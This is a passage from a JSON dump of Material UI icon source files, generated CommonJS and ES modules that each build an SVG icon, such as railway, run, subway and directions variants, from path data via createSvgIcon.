    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1c-4.42 0-8 .5-8 4v10.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4m0 2c6 0 6 1.2 6 2H6c0-.8 0-2 6-2m6 4v3H6V7zm-1.5 10h-9c-.83 0-1.5-.67-1.5-1.5V12h12v3.5c0 .83-.67 1.5-1.5 1.5M12 12.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DirectionsRailwayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1c-4.42 0-8 .5-8 4v10.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4m0 2c6 0 6 1.2 6 2H6c0-.8 0-2 6-2m6 4v3H6V7zm-1.5 10h-9c-.83 0-1.5-.67-1.5-1.5V12h12v3.5c0 .83-.67 1.5-1.5 1.5M12 12.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DirectionsRailwayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12zM4 15.5C4 17.43 5.57 19 7.5 19l-1.14 1.15c-.32.31-.1.85.35.85h10.58c.45 0 .67-.54.35-.85L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailwayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12zM4 15.5C4 17.43 5.57 19 7.5 19l-1.14 1.15c-.32.31-.1.85.35.85h10.58c.45 0 .67-.54.35-.85L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailwayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailwaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4zm8 1.5c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-7H6V5h12z\"\n}), 'DirectionsRailwaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm6-3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M12 3C6 3 6 4.2 6 5h12c0-.8 0-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4v10.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5m-2 0c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12zM6 5c0-.8 0-2 6-2s6 1.2 6 2zm6 11.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'DirectionsRailwayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRailwayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V12H6zm6-3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M12 3C6 3 6 4.2 6 5h12c0-.8 0-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5V5c0-3.5-3.58-4-8-4s-8 .5-8 4v10.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5m-2 0c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5H6V7h12zM6 5c0-.8 0-2 6-2s6 1.2 6 2zm6 11.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'DirectionsRailwayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0l-9 9a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l9-9a.996.996 0 0 0 0-1.41M14 14.5V12h-4v2c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1h5V7.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'DirectionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.71 11.29-9-9a.996.996 0 0 0-1.41 0l-9 9a.996.996 0 0 0 0 1.41l9 9c.39.39 1.02.39 1.41 0l9-9a.996.996 0 0 0 0-1.41M14 14.5V12h-4v2c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1h5V7.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'DirectionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRun.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRun');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRun.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRun');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRunOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRunOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.17 12 .57-2.5 2.1 2v5c0 .55.45 1 1 1s1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45l-1.48-1.41.6-3c1.07 1.24 2.62 2.13 4.36 2.41.6.09 1.14-.39 1.14-1 0-.49-.36-.9-.85-.98-1.52-.25-2.78-1.15-3.45-2.33l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1L7.21 7.76c-.74.32-1.22 1.04-1.22 1.85v2.37c0 .55.45 1 1 1s1-.45 1-1v-2.4l1.8-.7-1.6 8.1-3.92-.8c-.54-.11-1.07.24-1.18.78V17c-.11.54.24 1.07.78 1.18l4.11.82c1.06.21 2.1-.46 2.34-1.52\"\n}), 'DirectionsRunRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.17 12 .57-2.5 2.1 2v5c0 .55.45 1 1 1s1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45l-1.48-1.41.6-3c1.07 1.24 2.62 2.13 4.36 2.41.6.09 1.14-.39 1.14-1 0-.49-.36-.9-.85-.98-1.52-.25-2.78-1.15-3.45-2.33l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1L7.21 7.76c-.74.32-1.22 1.04-1.22 1.85v2.37c0 .55.45 1 1 1s1-.45 1-1v-2.4l1.8-.7-1.6 8.1-3.92-.8c-.54-.11-1.07.24-1.18.78V17c-.11.54.24 1.07.78 1.18l4.11.82c1.06.21 2.1-.46 2.34-1.52\"\n}), 'DirectionsRunRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRunSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.6 13.9 1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2z\"\n}), 'DirectionsRunSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.49 3.48c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m-.6 11.5 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2 7 1.4z\"\n}), 'DirectionsRunTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsRunTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.49 3.48c0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2-2 .9-2 2m-.6 11.5 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2 7 1.4z\"\n}), 'DirectionsRunTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.41 12 12 1.59 1.59 11.99 12 22.41zM14 14.5V12h-4v3H8v-5h6V7.5l3.5 3.5z\"\n}), 'DirectionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.41 12 12 1.59 1.59 11.99 12 22.41zM14 14.5V12h-4v3H8v-5h6V7.5l3.5 3.5z\"\n}), 'DirectionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubway.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.42 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-6H6V6h5zm5.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-6h-5V6h5z\"\n}), 'DirectionsSubway');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubway.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.42 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h12v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-6H6V6h5zm5.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-6h-5V6h5z\"\n}), 'DirectionsSubway');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M8.5 16c-.83 0-1.5-.67-1.5-1.5S7.67 13 8.5 13s1.5.67 1.5 1.5S9.33 16 8.5 16m2.5-6H6V7h5zm4.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6h-5V7h5z\"\n}), 'DirectionsSubwayFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M8.5 16c-.83 0-1.5-.67-1.5-1.5S7.67 13 8.5 13s1.5.67 1.5 1.5S9.33 16 8.5 16m2.5-6H6V7h5zm4.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6h-5V7h5z\"\n}), 'DirectionsSubwayFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'DirectionsSubwayFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4m0 2c3.71 0 5.13.46 5.67 1H6.43c.6-.52 2.05-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'DirectionsSubwayFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19l-1.21.81c-.18.12-.29.32-.29.54 0 .36.29.65.65.65h10.7c.36 0 .65-.29.65-.65 0-.22-.11-.42-.29-.54L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M8.5 16c-.83 0-1.5-.67-1.5-1.5S7.67 13 8.5 13s1.5.67 1.5 1.5S9.33 16 8.5 16m2.5-6H6V7h5zm4.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6h-5V7h5z\"\n}), 'DirectionsSubwayFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsSubwayFilledRounded.mjs",
